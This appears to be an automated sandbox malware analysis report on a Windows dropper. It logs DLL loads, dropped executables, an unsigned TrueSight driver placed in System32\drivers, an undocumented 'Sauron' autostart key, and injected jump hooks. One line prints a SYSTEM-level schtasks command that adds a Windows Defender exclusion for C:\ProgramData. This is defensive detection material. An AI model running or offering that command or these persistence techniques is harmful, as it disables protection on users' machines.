Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: starttiledata.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: usermgrproxy.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: twext.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: cscui.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: workfoldersshell.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: acppage.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: msi.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: aepic.dll	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: tbcore3u.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: devenum.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: msdmo.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: avicap32.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: msvfw32.dll	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Section loaded: tbcore3u.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Section loaded: tbcore3u.dll

Source: C:\Users\user\Documents\77WmQZ.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe

File written: C:\Users\Public\Music\destopbak.ini

Jump to behavior

Source: 2834573-3676874985.02.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: 2834573-3676874985.02.exe

Static file information: File size 30942720 > 1048576

Source: 2834573-3676874985.02.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x1d59800

Source: 2834573-3676874985.02.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 2834573-3676874985.02.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 2834573-3676874985.02.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 2834573-3676874985.02.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 2834573-3676874985.02.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 2834573-3676874985.02.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 2834573-3676874985.02.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: BootstrapPackagedGame-Win64-Shipping.pdb source: 2834573-3676874985.02.exe
Source:	Binary string: d:\work\iGiveButton\toolbar4\Release_bin\uninstall.pdb source: 77WmQZ.exe, 00000005.00000003.2396243991.0000000003D2A000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe, 00000005.00000003.2396186021.0000000003D38000.00000004.00000020.00020000.00000000.sdmp, vtAIyr.exe, 00000027.00000000.2639034030.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000028.00000000.2655555189.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000028.00000002.2672045370.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 4Gl42go.exe, 0000002A.00000002.2673223168.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002A.00000000.2665114462.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002C.00000002.2697467868.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002C.00000000.2689222939.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002D.00000000.2856673861.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 0000002D.00000002.2872574837.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, vtAIyr.exe, 0000002E.00000002.2872136403.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 0000002E.00000000.2856712475.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 5fuoTf.exe, 0000002F.00000000.2928415343.0000000000E38000.00000002.00000001.01000000.0000000E.sdmp, 5fuoTf.exe, 0000002F.00000002.2936667188.0000000000E38000.00000002.00000001.01000000.0000000E.sdmp, 4Gl42go.exe, 00000030.00000000.3446927779.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 00000030.00000002.3463179547.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, vtAIyr.exe, 00000031.00000002.3457390537.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000031.00000000.3447241740.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 4Gl42go.exe, 00000032.00000000.4046857630.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, 4Gl42go.exe, 00000032.00000002.4056025729.0000000000B08000.00000002.00000001.01000000.0000000C.sdmp, vtAIyr.exe, 00000033.00000002.4077543289.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, vtAIyr.exe, 00000033.00000000.4047056080.0000000000C38000.00000002.00000001.01000000.0000000A.sdmp, 4Gl42go.exe.39.dr, vtAIyr.exe.5.dr
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: 189atohci.sys.0.dr
Source:	Binary string: y:\avsdk5\engine\make\build\public\64-bit\vseamps.pdb source: 2834573-3676874985.02.exe, 00000000.00000003.2082486352.0000000003FD1000.00000004.00000020.00020000.00000000.sdmp, 77WmQZ.exe, 00000004.00000002.2181152028.0000000140014000.00000002.00000001.01000000.00000007.sdmp, 77WmQZ.exe, 00000004.00000000.2176007625.0000000140014000.00000002.00000001.01000000.00000007.sdmp, 77WmQZ.exe, 00000005.00000000.2196175397.0000000140014000.00000002.00000001.01000000.00000007.sdmp, 77WmQZ.exe.0.dr

Source: 2834573-3676874985.02.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 2834573-3676874985.02.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 2834573-3676874985.02.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 2834573-3676874985.02.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 2834573-3676874985.02.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: 2834573-3676874985.02.exe

Static PE information: 0xEC4A930B [Tue Aug 16 05:18:03 2095 UTC]

Source: C:\Users\user\Documents\77WmQZ.exe

Code function: 4_2_000000014000F000 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

4_2_000000014000F000

Source: initial sample

Static PE information: section where entry point is pointing to: .mo:

Source: 2834573-3676874985.02.exe	Static PE information: section name: _RDATA
Source: tbcore3U.dll.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll0.5.dr	Static PE information: section name: .mo:
Source: tbcore3U.dll.39.dr	Static PE information: section name: .%?.
Source: tbcore3U.dll.39.dr	Static PE information: section name: .%-[
Source: tbcore3U.dll.39.dr	Static PE information: section name: .mo:

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Code function: 40_2_00C32691 push ecx; ret	40_2_00C326A4
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Code function: 42_2_00B02691 push ecx; ret	42_2_00B026A4
Source: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Code function: 47_2_00E32691 push ecx; ret	47_2_00E326A4

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	File created: C:\Users\user\Documents\vselog.dll			Jump to dropped file
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	File created: C:\Users\user\Documents\77WmQZ.exe			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe	Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\yKOHid\tbcore3U.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	File created: C:\Windows\System32\drivers\189atohci.sys	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\vtAIyr\tbcore3U.dll	Jump to dropped file
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	File created: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Jump to dropped file
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	File created: C:\Users\user\Documents\vselog.dll	Jump to dropped file
Source: C:\Users\user\Desktop\2834573-3676874985.02.exe	File created: C:\Users\user\Documents\77WmQZ.exe	Jump to dropped file
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	File created: C:\Program Files (x86)\20UfEkDS1\tbcore3U.dll	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\yKOHid\5fuoTf.exe	Jump to dropped file
Source: C:\Users\user\Documents\77WmQZ.exe	File created: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Jump to dropped file

Source: C:\Users\user\Desktop\2834573-3676874985.02.exe

File created: C:\Windows\System32\drivers\189atohci.sys

Jump to dropped file

Boot Survival

Creates an undocumented autostart registry key

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key value created or modified: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron Groupfenzhu			Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Key value created or modified: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron Groupfenzhu			Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\schtasks.exe SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"

Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe

Registry key created: HKEY_CURRENT_USER\System\CurrentControlSet\Services\Sauron

Jump to behavior

Source: C:\Users\user\Documents\77WmQZ.exe

4_2_0000000140001520

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\77WmQZ.exe	Memory written: PID: 5924 base: 7FFE22370008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Memory written: PID: 5924 base: 7FFE2220D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Memory written: PID: 1228 base: 7FFE22370008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\77WmQZ.exe	Memory written: PID: 1228 base: 7FFE2220D9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 3660 base: 5E0005 value: E9 8B 2F 92 76	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 3660 base: 76F02F90 value: E9 7A D0 6D 89	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 3660 base: 610005 value: E9 8B 2F 8F 76	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 3660 base: 76F02F90 value: E9 7A D0 70 89	Jump to behavior
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 4144 base: D70005 value: E9 8B 2F 19 76
Source: C:\Program Files (x86)\vtAIyr\vtAIyr.exe	Memory written: PID: 4144 base: 76F02F90 value: E9 7A D0 E6 89
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 2136 base: A10005 value: E9 8B 2F 4F 76
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 2136 base: 76F02F90 value: E9 7A D0 B0 89
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 3452 base: 1200005 value: E9 8B 2F D0 75
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 3452 base: 76F02F90 value: E9 7A D0 2F 8A
Source: C:\Program Files (x86)\20UfEkDS1\4Gl42go.exe	Memory written: PID: 2500 base: 770005 value: E9 8B 2F 79 76
